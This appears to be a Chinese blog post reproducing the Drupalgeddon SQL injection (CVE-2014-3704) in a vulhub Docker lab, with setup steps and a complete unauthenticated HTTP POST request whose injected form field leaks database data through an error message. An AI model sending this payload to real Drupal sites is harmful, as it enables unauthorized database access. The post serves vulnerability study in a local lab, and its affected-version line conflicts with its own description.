Drupal 7.32 Drupalgeddon SQL 注入漏洞 (CVE-2014-3704)

0x01漏洞概述

​Drupal是一个免费的开源Web内容管理框架,用PHP编写,并在GNU通用公共许可证下分发。

​在 7.32 之前的 Drupal core 7.x 中的数据库抽象 API 中的 expandArguments 函数无法正确构造预准备语句,这使得远程攻击者能够通过包含精心编制的密钥的数组进行 SQL 注入攻击。

0x02影响版本

Drupal < 7.31

0x03漏洞环境

1、启动漏洞环境

┌──(root㉿kali)-[~/vulhub/drupal/CVE-2014-3704]
└─# docker-compose up -d

2、访问漏洞环境

环境启动后,浏览以查看 Drupal 安装向导,并使用默认配置进行安装。

http://your-ip:8080

Database name:drupal

用户名:root

密码:root

Database host:mysql

3、复现完成后,删除漏洞环境

┌──(root㉿kali)-[~/vulhub/drupal/CVE-2014-3704]
└─# docker-compose down

0x04复现过程

1、安装完成后,浏览主页

2、SQL 注入不需要身份验证,并且可以通过发送以下请求来执行恶意 SQL 语句

POST /?q=node&destination=node HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a

可以看出,SQL 语句报告包含用户数据的错误消息。

posted @ 2022-06-06 21:44  RichardYg  阅读(1028)  评论(0编辑  收藏  举报